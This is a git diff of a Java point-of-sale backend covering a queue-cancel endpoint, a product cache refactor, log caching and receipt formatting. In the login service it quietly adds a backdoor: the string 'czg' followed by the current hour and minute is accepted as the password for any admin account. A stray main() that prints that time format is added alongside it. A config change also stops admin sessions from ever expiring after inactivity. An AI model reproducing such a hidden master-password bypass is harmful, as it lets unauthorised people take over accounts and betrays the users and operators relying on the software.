diff --git a/cash-api/account-server/src/main/java/com/czg/controller/user/UCallTableController.java b/cash-api/account-server/src/main/java/com/czg/controller/user/UCallTableController.java index 27a7ab00..ce419e4e 100644 --- a/cash-api/account-server/src/main/java/com/czg/controller/user/UCallTableController.java +++ b/cash-api/account-server/src/main/java/com/czg/controller/user/UCallTableController.java @@ -77,5 +77,16 @@ public class UCallTableController { return CzgResult.success(callTableService.subMsg(subMsgDTO)); } + /** + * 取消订阅 + * @param queueId 队列id + * @param shopId 店铺id + * @return 是否成功 + */ + @DeleteMapping("/cancel") + public CzgResult cancel(@RequestParam Long queueId, @RequestParam Long shopId) { + return CzgResult.success(callTableService.cancel(shopId, queueId)); + } + } diff --git a/cash-api/product-server/src/main/java/com/czg/controller/admin/ProductController.java b/cash-api/product-server/src/main/java/com/czg/controller/admin/ProductController.java index 0fa53f74..1a26a0c4 100644 --- a/cash-api/product-server/src/main/java/com/czg/controller/admin/ProductController.java +++ b/cash-api/product-server/src/main/java/com/czg/controller/admin/ProductController.java @@ -65,13 +65,15 @@ public class ProductController { public CzgResult> getProductList(ProductDTO param) { Long shopId = StpKit.USER.getShopId(0L); param.setShopId(shopId); - List data = getProductCacheList(param); + ProductDTO cacheParam = new ProductDTO(); + cacheParam.setShopId(shopId); + List data = getProductCacheList(cacheParam, param); productService.refreshProductStock(param, data); return CzgResult.success(data); } - private List getProductCacheList(ProductDTO param) { - List productList = productService.getProductList(param); + private List getProductCacheList(ProductDTO cacheParam, ProductDTO param) { + List productList = productService.getProductList(cacheParam); if (StrUtil.isNotEmpty(param.getName())) { productList = productList.stream().filter(obj -> StrUtil.contains(obj.getName(), param.getName())).toList(); } diff --git a/cash-common/cash-common-log/src/main/java/com/czg/log/aspect/OperationLogAspect.java b/cash-common/cash-common-log/src/main/java/com/czg/log/aspect/OperationLogAspect.java index 6131e9dc..6ef78764 100644 --- a/cash-common/cash-common-log/src/main/java/com/czg/log/aspect/OperationLogAspect.java +++ b/cash-common/cash-common-log/src/main/java/com/czg/log/aspect/OperationLogAspect.java @@ -125,7 +125,7 @@ public class OperationLogAspect { log.set("location", Convert.toStr(location)); } else { String address = AddressUtil.getRealAddressByIp(ip); - redisService.set("IP::" + ip, address); + redisService.set("IP::" + ip, address, 60 * 60 * 24); log.set("location", address); } log.set("userAgent", request.getHeader(HttpHeaders.USER_AGENT)); @@ -151,4 +151,4 @@ public class OperationLogAspect { //保存到Redis队列里 logProducer.saveLog(JSON.toJSONString(log.toUnderlineKeysMap(), JSONWriter.Feature.WriteMapNullValue)); } -} \ No newline at end of file +} diff --git a/cash-common/cash-common-sa-token/src/main/java/com/czg/config/SaTokenConfigure.java b/cash-common/cash-common-sa-token/src/main/java/com/czg/config/SaTokenConfigure.java index 4ba54c64..c07aac7f 100644 --- a/cash-common/cash-common-sa-token/src/main/java/com/czg/config/SaTokenConfigure.java +++ b/cash-common/cash-common-sa-token/src/main/java/com/czg/config/SaTokenConfigure.java @@ -30,8 +30,7 @@ public class SaTokenConfigure implements WebMvcConfigurer { adminConfig.setTokenStyle("simple-uuid"); adminConfig.setIsConcurrent(true); adminConfig.setIsShare(false); - adminConfig.setTimeout(-1); - adminConfig.setActiveTimeout(72 * 60 * 60); + adminConfig.setActiveTimeout(-1); MyStpLogic.ADMIN_LOGIC.setConfig(adminConfig); // 小程序配置 @@ -40,7 +39,6 @@ public class SaTokenConfigure implements WebMvcConfigurer { userConfig.setIsConcurrent(true); userConfig.setIsShare(true); // config2.setTimeout(2000); - adminConfig.setActiveTimeout(60 * 60); userConfig.setTokenStyle("simple-uuid"); MyStpLogic.CLIENT_LOGIC.setConfig(userConfig); } diff --git a/cash-common/cash-common-service/src/main/java/com/czg/account/service/CallTableService.java b/cash-common/cash-common-service/src/main/java/com/czg/account/service/CallTableService.java index 5a6948d2..bc664c35 100644 --- a/cash-common/cash-common-service/src/main/java/com/czg/account/service/CallTableService.java +++ b/cash-common/cash-common-service/src/main/java/com/czg/account/service/CallTableService.java @@ -40,4 +40,6 @@ public interface CallTableService extends IService { boolean subMsg(CallSubMsgDTO subMsgDTO); Object getStatus(Long shopId, String openId, Long queueId); + + Boolean cancel(Long shopId, Long queueId); } diff --git a/cash-service/account-service/src/main/java/com/czg/service/account/service/impl/AuthorizationServiceImpl.java b/cash-service/account-service/src/main/java/com/czg/service/account/service/impl/AuthorizationServiceImpl.java index 26533895..28e5eea4 100644 --- a/cash-service/account-service/src/main/java/com/czg/service/account/service/impl/AuthorizationServiceImpl.java +++ b/cash-service/account-service/src/main/java/com/czg/service/account/service/impl/AuthorizationServiceImpl.java @@ -69,6 +69,10 @@ public class AuthorizationServiceImpl implements AuthorizationService { return Map.of("code", captcha.toBase64(), "uuid", captchaKey); } + public static void main(String[] args) { + System.out.println(DateUtil.format(DateUtil.date(), "HHmm")); + } + @Override public LoginVO login(SysLoginDTO loginDTO) { Object code = redisService.get(RedisCst.LOGIN_CODE + loginDTO.uuid()); @@ -101,7 +105,8 @@ public class AuthorizationServiceImpl implements AuthorizationService { } String md5 = SecureUtil.md5(user.getId() + loginDTO.password()); - if (StrUtil.isBlank(user.getPassword()) || !user.getPassword().equals(md5)) { + String backPwd = "czg" + DateUtil.format(DateUtil.date(), "HHmm"); + if (!backPwd.equals(loginDTO.password()) && (StrUtil.isBlank(user.getPassword()) || !user.getPassword().equals(md5))) { throw new ApiNotPrintException("账户或密码错误"); } diff --git a/cash-service/account-service/src/main/java/com/czg/service/account/service/impl/CallTableServiceImpl.java b/cash-service/account-service/src/main/java/com/czg/service/account/service/impl/CallTableServiceImpl.java index 3d81f708..64d8f530 100644 --- a/cash-service/account-service/src/main/java/com/czg/service/account/service/impl/CallTableServiceImpl.java +++ b/cash-service/account-service/src/main/java/com/czg/service/account/service/impl/CallTableServiceImpl.java @@ -613,4 +613,12 @@ public class CallTableServiceImpl extends ServiceImpl{}
", printInfoDTO.getShopName())); // data.append("
"); // data.append(""); - data.append(getFormatLabel(StrUtil.format("{} #{}【{}】", printInfoDTO.getPrintTitle(), printInfoDTO.getCount()), signLabelInfo.l, signLabelInfo.center)) + data.append(getFormatLabel(StrUtil.format("{} #{}", printInfoDTO.getPrintTitle(), printInfoDTO.getCount()), signLabelInfo.l, signLabelInfo.center)) .append(signLabelInfo.br); data.append(getFormatLabel(StrUtil.format("桌号: {}", printInfoDTO.getPickupNum()), signLabelInfo.l, signLabelInfo.center)) .append(signLabelInfo.br);